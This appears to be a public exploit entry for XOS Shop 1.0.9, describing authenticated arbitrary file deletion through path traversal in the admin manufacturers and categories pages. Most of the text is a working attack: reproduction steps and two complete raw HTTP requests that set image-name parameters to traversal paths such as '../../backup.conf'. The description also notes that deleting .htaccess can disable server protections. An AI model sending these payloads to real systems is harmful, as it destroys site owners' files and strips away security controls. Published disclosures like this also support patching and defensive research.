XOS Shop 1.0.9 - 'Multiple' Arbitrary File Deletion (Authenticated)

# Exploit Title: XOS Shop 1.0.9 - 'Multiple' Arbitrary File Deletion (Authenticated)
# Date: 2021-07-25
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://xos-shop.com
# Software Link: https://github.com/XOS-Shop/xos_shop_system/releases/tag/v1.0.9
# Version: 1.0.9
# Tested on: Windows 10, XAMPP
# Reference: https://github.com/XOS-Shop/xos_shop_system/issues/1


################
# Description  #
################

# XOS-Shop is a further development of the well-known open source webshop system "osCommerce". The XOS-Shop prior to version 1.0.9 suffers from an arbitrary file deletion vulnerability in Admin Panel. Exploiting the vulnerability allows an authenticated attacker to delete any file in the web root (along with any other file on the server that the PHP process user has the proper permissions to delete). Furthermore, an attacker might leverage the capability of arbitrary file deletion to circumvent certain webserver security mechanisms such as deleting .htaccess file that would deactivate those security constraints.


##########
# PoC 1  #
##########

Vulnerable URL: http://localhost/xos_shop_v1.0.9/shop/admin/manufacturers.php
Vulnerable Code: line 66 - xos_shop_v1.0.9\shop\admin\manufacturers.php

Steps to Reproduce:

1. Login as admin
2. Goto Catalog > Manufacturers > edit any manufacturer
3. Upload any image as "Manufacturers Image" and click save button
4. Then, tick "Delete" checkbox and click save button
5. Intercept the request and replace existing image name to any files on the server via parameter "current_manufacturer_image".

# Assumed there is a backup.conf file in web root

PoC #1) param current_manufacturer_image - Deleting backup.conf file in web root

Request: 
========

POST /xos_shop_v1.0.9/shop/admin/manufacturers.php?page=1&mID=10&action=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------120849309142309531191692203678
Content-Length: 1305
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/xos_shop_v1.0.9/shop/admin/manufacturers.php?page=1&mID=10&action=edit
Cookie: XOSsidAdmin=os13rkgs85m47iak7l8ck2j1ja
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Sec-GPC: 1

-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="manufacturers_name[2]"

App
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="manufacturers_name[1]"

App
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="manufacturers_name[3]"

App
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="manufacturers_url[2]"

app.com
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="manufacturers_url[1]"

app.com
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="manufacturers_url[3]"

app.com
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="delete_manufacturer_image"

true
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="current_manufacturer_image"

../../backup.conf
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="manufacturers_image"; filename=""
Content-Type: application/octet-stream

-----------------------------120849309142309531191692203678--

---


##########
# PoC 2  #
##########

Vulnerable URL: http://localhost/xos_shop_v1.0.9/shop/admin/categories.php
Vulnerable Code: line 154-156, 167-169, 421-425, 433-437 - xos_shop_v1.0.9\shop\admin\categories.php
Note: Multiple parameters affected

Steps to Reproduce:

1. Login as admin
2. Goto Catalog > Categories/Products > edit any category
3. Upload any image as "Category Image" if there is no existing image and click save button else,
4. Tick "Delete" checkbox and click save button
5. Intercept the request and replace existing image name to any files on the server via parameter "current_category_image".

# Assumed there is a backup.conf file in web root

PoC #2) param current_category_image - Deleting backup.conf file in web root

Request: 
========

POST /xos_shop_v1.0.9/shop/admin/categories.php?action=update_category&cPath=&cpID=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------95672159210084798032704634599
Content-Length: 2524
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/xos_shop_v1.0.9/shop/admin/categories.php?cPath=&cpID=1&action=new_category
Cookie: XOSsidAdmin=os13rkgs85m47iak7l8ck2j1ja
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Sec-GPC: 1

-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_id"

1
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="current_category_image"

../../../backup.conf
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="category_name"

Hardware
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="current_categories_or_pages_status"

1
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="delete_category_image"

true
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_image"; filename=""
Content-Type: application/octet-stream

-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="product_list_b"

0
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="sort_order"

10
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_status"

1
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_name[2]"

Hardware
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_name[1]"

Hardware
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_name[3]"

Hardware
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_heading_title[2]"

-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_heading_title[1]"

-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_heading_title[3]"

-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_content[2]"

-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_content[1]"

-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_content[3]"

-----------------------------95672159210084798032704634599--

---


# For more explanation, you can refer to the github issue on XOS-Shop via https://github.com/XOS-Shop/xos_shop_system/issues/1
# The affected version is prior to v1.0.9.